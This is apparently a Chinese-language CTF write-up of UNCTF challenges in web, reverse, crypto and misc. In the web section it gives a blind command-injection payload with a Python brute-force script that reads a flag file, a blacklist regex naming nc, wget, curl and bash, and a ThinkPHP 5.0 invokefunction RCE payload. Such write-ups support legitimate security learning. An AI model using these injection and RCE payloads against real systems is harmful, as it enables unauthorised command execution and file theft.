if (!preg_match('/\@|\#|\%|:|&|;|\\\\|"|\'|`|\.|\&|\*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){

exec($code,$output,$return_val);

if(!$return_val) echo "success";
else{
echo "fail";
}

}
else{
die("小黑子,露出只因脚了吧");
}
}
else{
highlight_file(__FILE__);
}
?>

这边exec函数是没有回显的,只会告诉你执行成功与否,比如:
tac /etc/passwd
image.png
然后假如我们这样输入:l$(tac /f??? | cut -b 1 | tr U s)
如果第一个字母为U,那就是ls指令,理论上会返回success,如果不是U就识别不出ls指令,就返回fail:
image.png
image.png
接下来也是一样的,根据他这个来写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#Author:Boogipop
import requests
# import time
url='http://8227337a-705d-43cd-bc54-d3649f78c364.node.yuzhian.com.cn/'
dict='abcdefghijklmnopqrstuvwxyzUNCTF1234567890{}-'
count=0
result=''
while True:
count+=1
for i in dict:
payload={
"code":f"l$(tac /f??? | cut -b {count} | tr {i} s)"
}
# print(payload['code'])
# t1=time.time()
r=requests.get(url=url,params=payload)
# t2=time.time()
# print(t2-t1)
# print(r.text)
if 'success' in r.text:
result+=i
print(result)
break

最后就出来了:
image.png

给你一刀

ThinkPHP5.0:
image.png
乱杀啊
随便找个poc?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
image.png
image.png

快乐三消

非预期解解出的,phpinfo界面,无语死

预期解:
扫目录会发现admin目录,然后也有git泄露:
image.png
image.png
然后就进不去了!感觉git给的东西没什么用啊!

RE

whereisyourkey-

这个说实话就放在IDA里一搞就出:
121 101 115 105 97 109 102 108 97 103 yesiamflag
然后flag就是flag{yesiamflag}

Crypto

md5-1

1
2
3
4
5
6
7
8
9
10
import hashlib
dict='abcdefghijklmnopqrstuvwxyz0123456789_{}UNCTF'
result=''
f=open('out.txt','r')
for i in f:
i=i.strip("\n")
for j in dict:
if hashlib.md5(j.encode('utf-8')).hexdigest()==i:
result+=j
print(result)

image.png

md5-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import hashlib
dict='abcdefghijklmnopqrstuvwxyz0123456789_{}UNCTF'
result=''
f=open('out2.txt','r')
count=0
for i in f:
count+=1
i=i.strip("\n")
print(i)
for j in dict:
if count==1:
if hashlib.md5(j.encode('utf-8')).hexdigest() == i:
result+=j
print(result)
break;
else:
str=f"{result+j}"
str=list(str)
# print(str)
a=int(hashlib.md5(str[count-1].encode()).hexdigest(),16)
b=int(hashlib.md5(str[count-2].encode()).hexdigest(),16)
# print(hex(int(a^b))[2:])
if hex(int(a^b))[2:]==i:
result+=j
print(result)
break;

image.png

caesar

位移是19:
B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}
image.png
写wp真不想搞了,累了

ezxor

简单的多次一密,网上搬了一个脚本:稍微改了点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np

def isChr(x):
if ord('a') <= x and x <= ord('z'): return True
if ord('A') <= x and x <= ord('Z'): return True
return False

def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

dat = []

def getSpace():
for index, x in enumerate(c):
res = [xo.strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))

c = [codecs.decode(x.strip().encode(), 'hex') for x in open('Problem.txt', 'r').readlines()]

msg = np.zeros([len(c), len(c[0])], dtype=int)

getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))
key = xo.strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())
print(key)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.strxor import strxor
from Crypto.Util.number import *
with open('Problem.txt','r') as f:
data=f.read().split('\n')
c=[]
for i in data:
c.append(long_to_bytes(int(i,16)))
m='In the flood of darkness, hope is the light. It brings comfort, faith, and confidence. It gives usguidance when we are lost, and gives support whenwe are afraid. And the moment we give up hope,we give up our lives. The world we live in is disintegrating into a place of malice and hatred, where we need hope and find it harder. In this worldof fear,hope to find better, but easier said than done, themore meaningful life of faith will make life meaningful.'
ls=[]
for i in range(0,len(m),42):
ls.append(m[i:i+42])
for i in range(11):
flag=strxor(c[i],ls[i][:29].encode())
print(flag)

第一版脚本跑出来结果是比较乱的码,但是大致可以看到flag在里面,然后找了一下明文,也就是下面脚本里的m,最后跑出flag:
image.png
也别说跑出的,其实类似于撞出来的

MISC

magic_word

这边就是0宽度隐写:
625E1FA0C6622CDCDA5E16F13645EE82.png
改字体,然后解密:
![DUE})AD1TIMPLHF]NKD}HAX.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1668570173937-17b740a3-890c-4e24-9296-54d9459dcd83.png#averageHue=%23f2f2f2&clientId=u92cace27-3367-4&from=paste&height=414&id=uc903caff&name=DUE%7D%29AD1TIMPLHF%5DNKD%7DHAX.png&originHeight=518&originWidth=1888&originalType=binary&ratio=1&rotation=0&showTitle=false&size=281355&status=done&style=none&taskId=ucf22cda5-f021-4d5a-83dd-51c1b9f2f7b&title=&width=1510.4)

syslogimage.png

一个文件binkwalk分离:
image.pngpassword is U6nu2_i3_b3St
解压分理处的文件:
image.png

我小心海也绝非鳝类

image.png
看起来像base,解出来是flaginmd5
然后010editor发现末尾有一串base64image.png
解出来是EASYLSB
应该是考LSB隐写,结合前面的字符,可能是有密码的LSB,密码就是前面的那个flaginmd5
image.png
结合密码flaginmd5,这一长串可能是很多个md5值,前面试了两个刚好是fl,于是写脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib
f=open('1.txt','r')
res=""
dict="qwertyuiopasdfghjklzxcvbnm{}_-"
for i in f:
i=i.strip("\n")
for j in range(0,len(i),32):
str=i[j:j+32]
for m in dict:
# print(hashlib.md5(m.encode("utf-8")).hexdigest().upper())
if hashlib.md5(m.encode("utf-8")).hexdigest().upper()==str:
res+=m
print(res)

image.png
Flag:flag{welcome_to_misc}

芝麻开门

image.png
看到个key,然后别被骗了,往下翻才是真正的key:
image.png
解密出来是key1
猜测和上一把一样,也是一把嗦一下看看:
image.png
flag直接就出来了,芜湖~

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp